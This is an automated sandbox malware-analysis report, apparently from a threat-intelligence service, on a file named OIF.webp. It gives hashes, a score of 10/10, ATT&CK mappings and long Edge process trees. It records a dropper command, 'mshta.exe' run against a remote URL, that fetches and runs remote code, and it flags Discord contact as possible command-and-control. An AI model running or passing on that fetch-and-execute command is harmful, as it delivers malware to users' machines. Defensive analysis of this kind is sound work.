9387d1b947c9d3510e5907d8d2c6b7940e67af63536f29d17a79e17fce3d910f

Analysis

user interaction
yes
max time kernel
80s
max time network
82s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/06/2026, 20:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
OIF.webp
Size 5KB
Sample260620-ytyc8aat2w
SHA256 9387d1b947c9d3510e5907d8d2c6b7940e67af63536f29d17a79e17fce3d910f
MD5 a5221d4cb8234839e6de228f5aa6a39f
SHA1 849c5c5d719e391d7e6b8ac21cd11385639d7ac2
SHA512 29a86f07165d70917f70e0f371c135f1e2d1f0d3c6d0133065718f64ae2676e5f0ce156a74765a8df0b20c3ac30f4fec4a7e6cda18e7f4b5524adbd164f50b4e
SSDEEP 96:8BOBv5wzyfekecc0d64zzvFB8R5AadWO7rG+ygKuayWOMKj3qhonQwLBEdR90sm7:8BO/wzyWPccc6iw5Pz76PgKu5WOvj3KS
TLSH
T1F4B18C47A36DB017B95267C4CFB70EAF15928A1A745C6DDB6B4B207C4A83DA34013333
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://voltexecutor.pro/

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
61	2712	mshta.exe
62	2712	mshta.exe
63	2712	mshta.exe
64	2712	mshta.exe
65	2712	mshta.exe
66	2712	mshta.exe
67	2712	mshta.exe
68	2712	mshta.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
56	discord.com
67	discord.com

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4980_881158865\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1232	msedge.exe
4216	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134264595409162688"	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-487906980-2895880840-1957110281-1000\{29CF5B5C-E919-4DAF-B8D3-4C4C08C8D405}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-487906980-2895880840-1957110281-1000\{3437BD7B-2C5E-4AD2-802C-2EC946D6FD3F}	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4980	msedge.exe
4980	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe
1368	msedge.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1368	msedge.exe
1368	msedge.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 6092	1368	msedge.exe	88
PID 1368 wrote to memory of 5212	1368	msedge.exe	90
PID 1368 wrote to memory of 1232	1368	msedge.exe	91
PID 1368 wrote to memory of 5212	1368	msedge.exe	90
PID 1368 wrote to memory of 1228	1368	msedge.exe	92
PID 1368 wrote to memory of 5212	1368	msedge.exe	90
PID 1368 wrote to memory of 1228	1368	msedge.exe	92
PID 1368 wrote to memory of 3916	1368	msedge.exe	93
PID 1368 wrote to memory of 5152	1368	msedge.exe	94
PID 1368 wrote to memory of 3916	1368	msedge.exe	93
PID 1368 wrote to memory of 3916	1368	msedge.exe	93
PID 1368 wrote to memory of 5152	1368	msedge.exe	94
PID 1368 wrote to memory of 5152	1368	msedge.exe	94
PID 1368 wrote to memory of 2540	1368	msedge.exe	95
PID 1368 wrote to memory of 2540	1368	msedge.exe	95
PID 1368 wrote to memory of 2540	1368	msedge.exe	95
PID 1368 wrote to memory of 5600	1368	msedge.exe	96
PID 1368 wrote to memory of 5600	1368	msedge.exe	96
PID 1368 wrote to memory of 5600	1368	msedge.exe	96
PID 1368 wrote to memory of 3048	1368	msedge.exe	98
PID 1368 wrote to memory of 3048	1368	msedge.exe	98
PID 1368 wrote to memory of 5612	1368	msedge.exe	99
PID 1368 wrote to memory of 5612	1368	msedge.exe	99
PID 1368 wrote to memory of 2904	1368	msedge.exe	100
PID 1368 wrote to memory of 2904	1368	msedge.exe	100
PID 1368 wrote to memory of 4312	1368	msedge.exe	102
PID 1368 wrote to memory of 4980	1368	msedge.exe	103
PID 4980 wrote to memory of 836	4980	msedge.exe	104
PID 4980 wrote to memory of 256	4980	msedge.exe	106
PID 4980 wrote to memory of 4216	4980	msedge.exe	107
PID 4980 wrote to memory of 256	4980	msedge.exe	106
PID 4980 wrote to memory of 256	4980	msedge.exe	106
PID 4980 wrote to memory of 2960	4980	msedge.exe	109
PID 4980 wrote to memory of 2960	4980	msedge.exe	109
PID 4980 wrote to memory of 3688	4980	msedge.exe	111
PID 4980 wrote to memory of 2112	4980	msedge.exe	112
PID 4980 wrote to memory of 2112	4980	msedge.exe	112
PID 4980 wrote to memory of 4796	4980	msedge.exe	113
PID 4980 wrote to memory of 4796	4980	msedge.exe	113
PID 4980 wrote to memory of 3364	4980	msedge.exe	114
PID 4980 wrote to memory of 3364	4980	msedge.exe	114
PID 4980 wrote to memory of 5268	4980	msedge.exe	116
PID 4980 wrote to memory of 4856	4980	msedge.exe	117
PID 4980 wrote to memory of 1928	4980	msedge.exe	118
PID 4980 wrote to memory of 2172	4980	msedge.exe	123
PID 4980 wrote to memory of 2172	4980	msedge.exe	123

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\OIF.webp
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x368,0x7ff813d6c188,0x7ff813d6c194,0x7ff813d6c1a0
  2⤵
  PID:6092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1984,i,425517290649631043,2614463504682392709,262144 --field-trial-handle=2760,i,13455395338003462817,12706134683112385680,262144 --variations-seed-version --mojo-platform-channel-handle=2756 /prefetch:2
  2⤵
  PID:5212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2148,i,11877237343345391830,4693829329481762567,524288 --field-trial-handle=2760,i,13455395338003462817,12706134683112385680,262144 --variations-seed-version --mojo-platform-channel-handle=2816 /prefetch:11
  2⤵
  - System Time Discovery
  PID:1232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2424,i,13445363972142211099,2168966878237528936,524288 --field-trial-handle=2760,i,13455395338003462817,12706134683112385680,262144 --variations-seed-version --mojo-platform-channel-handle=3136 /prefetch:13
  2⤵
  PID:1228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3584,i,1977811487381643883,10788324034316583216,2097152 --field-trial-handle=2760,i,13455395338003462817,12706134683112385680,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:1
  2⤵
  PID:3916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3588,i,8053672108665936570,17076518542086579387,2097152 --field-trial-handle=2760,i,13455395338003462817,12706134683112385680,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
  2⤵
  PID:5152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4268,i,10534000043012722525,8492284254159480863,2097152 --field-trial-handle=2760,i,13455395338003462817,12706134683112385680,262144 --variations-seed-version --mojo-platform-channel-handle=4628 /prefetch:9
  2⤵
  PID:2540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4264,i,8121905049530500318,7260936916010824894,2097152 --field-trial-handle=2760,i,13455395338003462817,12706134683112385680,262144 --variations-seed-version --mojo-platform-channel-handle=4624 /prefetch:1
  2⤵
  PID:5600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3656,i,7141688903176840447,1515313425186035022,524288 --field-trial-handle=2760,i,13455395338003462817,12706134683112385680,262144 --variations-seed-version --mojo-platform-channel-handle=3812 /prefetch:14
  2⤵
  PID:3048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5280,i,2152402615747950345,4730916133359468865,524288 --field-trial-handle=2760,i,13455395338003462817,12706134683112385680,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:14
  2⤵
  PID:5612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4496,i,7448522781822958701,7928781877657035593,524288 --field-trial-handle=2760,i,13455395338003462817,12706134683112385680,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:14
  2⤵
  PID:2904
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5940,i,6060724908841884129,7525521777368762172,524288 --field-trial-handle=2760,i,13455395338003462817,12706134683112385680,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
  2⤵
  PID:4920
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5940,i,6060724908841884129,7525521777368762172,524288 --field-trial-handle=2760,i,13455395338003462817,12706134683112385680,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
  2⤵
  PID:4312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x288,0x7ff813d6c188,0x7ff813d6c194,0x7ff813d6c1a0
    3⤵
    PID:836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1632,i,1485269548787786768,15018951917732578873,262144 --field-trial-handle=2332,i,12294913686847554456,8522190996791551024,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:2
    3⤵
    PID:256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1836,i,7748977593439146723,3423880322366545419,524288 --field-trial-handle=2332,i,12294913686847554456,8522190996791551024,262144 --variations-seed-version --mojo-platform-channel-handle=2384 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4216
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2480,i,14877121936468799520,14714636380033040050,524288 --field-trial-handle=2332,i,12294913686847554456,8522190996791551024,262144 --variations-seed-version --mojo-platform-channel-handle=2872 /prefetch:13
    3⤵
    PID:2960
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4448,i,5478326931908748374,4340781006193753208,524288 --field-trial-handle=2332,i,12294913686847554456,8522190996791551024,262144 --variations-seed-version --mojo-platform-channel-handle=4464 /prefetch:14
    3⤵
    PID:1300
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4448,i,5478326931908748374,4340781006193753208,524288 --field-trial-handle=2332,i,12294913686847554456,8522190996791551024,262144 --variations-seed-version --mojo-platform-channel-handle=4464 /prefetch:14
    3⤵
    PID:3688
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4588,i,13313568476023255355,17221382148247224016,524288 --field-trial-handle=2332,i,12294913686847554456,8522190996791551024,262144 --variations-seed-version --mojo-platform-channel-handle=4580 /prefetch:14
    3⤵
    PID:2112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4988,i,13212768523682755203,17427264494938486360,524288 --field-trial-handle=2332,i,12294913686847554456,8522190996791551024,262144 --variations-seed-version --mojo-platform-channel-handle=4688 /prefetch:14
    3⤵
    PID:4796
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5080,i,8385195009935462499,16676331876252536654,524288 --field-trial-handle=2332,i,12294913686847554456,8522190996791551024,262144 --variations-seed-version --mojo-platform-channel-handle=4732 /prefetch:14
    3⤵
    PID:3364
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4512,i,18332648965627342893,13845513735224555287,524288 --field-trial-handle=2332,i,12294913686847554456,8522190996791551024,262144 --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:14
    3⤵
    PID:5268
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4464,i,7013933603805768210,8677979536113055904,524288 --field-trial-handle=2332,i,12294913686847554456,8522190996791551024,262144 --variations-seed-version --mojo-platform-channel-handle=5112 /prefetch:14
    3⤵
    PID:4856
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4492,i,11014722959977140477,15289422333637142568,524288 --field-trial-handle=2332,i,12294913686847554456,8522190996791551024,262144 --variations-seed-version --mojo-platform-channel-handle=5108 /prefetch:14
    3⤵
    PID:1928
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5148,i,10934317651034144508,10593093738839859019,524288 --field-trial-handle=2332,i,12294913686847554456,8522190996791551024,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:14
    3⤵
    PID:2172

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4344

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5256

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" https://voltexecutor.pro/
1⤵
- Badlisted process makes network request
PID:2712

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 86bd3a0f7328ff17cf8f5c348bd8ac04b7d41c52ef238ad0b048b09e5a964859
MD5 c6e3af776b1f4463a76e29cca079d5e5
SHA1 19b7f1bc72393d7717302ee15e0e4afa431cea45
SHA512 b15ef012a17356e47acc81e1922c433a19e6e554795a46fdf0ae05df1e9abbc87a47b05bc831bac2c6c32faad3f39c7a7cb21ae65ceb4f96f3deb3ea0d83e9c6
TLSH
T1D7D080613B05A616D54B19729C18E7117237844234E3D9097171D10EDABD3C4F3C51F7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 be05b8d7f0bed3c8d0e89a1a49e4bae1f45619d94149f9abd8291f558897f2f2
MD5 e02c579c3ab95f9c3a77f9c2199a30f0
SHA1 f96c7c58830f56a993117d75a3b0f9e30bfc93a7
SHA512 264a83561849b0e2a1c42c3e478b7d5a3b3fa31f901f29440fc853108e9046e73ba21a692d0dbdef7d9fd76e9b6aac64489fb603c47ab551280df09d26d7e2a4
TLSH
T140D080613B05A516D54B19729C19E7117237844224E3D9097171D11EDABD3C4F3C51E3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c0cedd7148c9ad42451eb263ebf0206629868389ba0d02244864d7bbd0c9240e
MD5 4e1966ac9a8785dda6a8b48528b375af
SHA1 be1c9e98a7946d4e3326723faa82b31874de442c
SHA512 d3c5b14ae30c1e6c7171bede3d9ce3029a22cf6888b70ab86e3b445ee95318a8a06953d0f594c1a224116d57a271c90e9bf967fbe27daa4e6f53affb468acf80
TLSH
T152D023213F05B795D55E157598249611723B458339E3950D7160C40ECDB82C5F7C66F7
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsSiteData

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsSiteData
Size 28KB
SHA256 6bd856d68d3a2de856e64d766e2b9baacbe909d793087e84880050cb36bab1e1
MD5 faa1297eb819d33082266d374c1d492d
SHA1 91a6155f8d8c05c277e8460a7268de023f8ceec5
SHA512 120a94377078e09c960d070f09a417479708753b708a3bb148c118fa48faf12d85352317712b9d95b59d15cf5c90f1c0490f703ee4524c6bcd7f1c427e499ef3
SSDEEP 12:TLiqiw5xT5SmKT5Si8wT5SislpXUUfzBW8ybwaW2b8wAs76uvsUkHZ6HFxOUwa52:TLiq5byqkiXBzlRr6hkc6UwccI5fBG
TLSH
T149D29B8A5F32E951CAE0D63BB0C0866A9B34A2198BC26D531B1110328FC3401983B47D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 bbfe4c709f4d89817ad0dd1d543ab8b1424ab82d8e1b9eca832be586f5f2aae3
MD5 e4890d83fbe6a20ccd963094a2700096
SHA1 69a80ccd05487653c1dbe9b174f1f51c35543739
SHA512 ea48c75360d0c2762e2a279cffd4db1e459d53af6569be67fbca522f6de4a79750a3b67efd7ddce05fc7f9e31b9e387e7ad1df38bbe00b440ddd394c1f3f2c48
TLSH
T119E02BEAD910DC2B1DFE4B7D30504642F66513173751859B773D820CCFF1A7A058685C
MD5 SHA1 SHA512 TLSH

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 35654c8ebb7846b99ab60ff4519db9ac9ae989611e8ae46fcd10a82d2bf5c1f1
MD5 a427077e565ff7555f9f6d894e576b52
SHA1 0b4fa7557308dc58efe6339483f0e2893957a3d2
SHA512 538b80048bb78a7cfe06ab854888e4b43e490e8bdc42f526ba4851e114da427122ca6ad7d7f2c90735031d8ec3b6e017e90d6d2147132f2a1604b63ef2ff8cba
SSDEEP 192:Ah90WYAFuXPoh9jIEnR3xHd8KHdSOQtzqzIvTLDzMbYa0ukyLUWcncyf:m90WYJo3jRBH/AFzIYa7k8wc
TLSH
T1AF13F8FE7A902F2ED2C7517C824BAB398371D770EAD0859703B23629B22D7805D5E027
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 709412200447b03e6a0b4bf489e50b2ed4317d0e1243933f62ee613014334c0d
MD5 7d266ee40252460298044154661e0565
SHA1 c3279b0b502499bb1834dbd79e423dc57f355e3d
SHA512 3f0b15260a9ba513fef72b07d5370f36d670be8cede46b54f2b6e801132f924491dbec199cc90b6af5426dc6f2d01a6bad9a02e4bacf0f499e10629cf21b0dad
SSDEEP 1536:RJ28L/fiL/VASg9CST7nAoZOW6HYG5LdcL/:Rc8L/qL/FvXcOWwrcL/
TLSH
T1D44440F71951A01BCBA842F6E2033E3DD1BB461D7CD1F8E9D5784C852829F21B6BCA85
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_3
Size 4.0MB
SHA256 fde4c67c5ed6d86ba4a5476fdfa4051779e75df0a9fcf015c28c04177570fec5
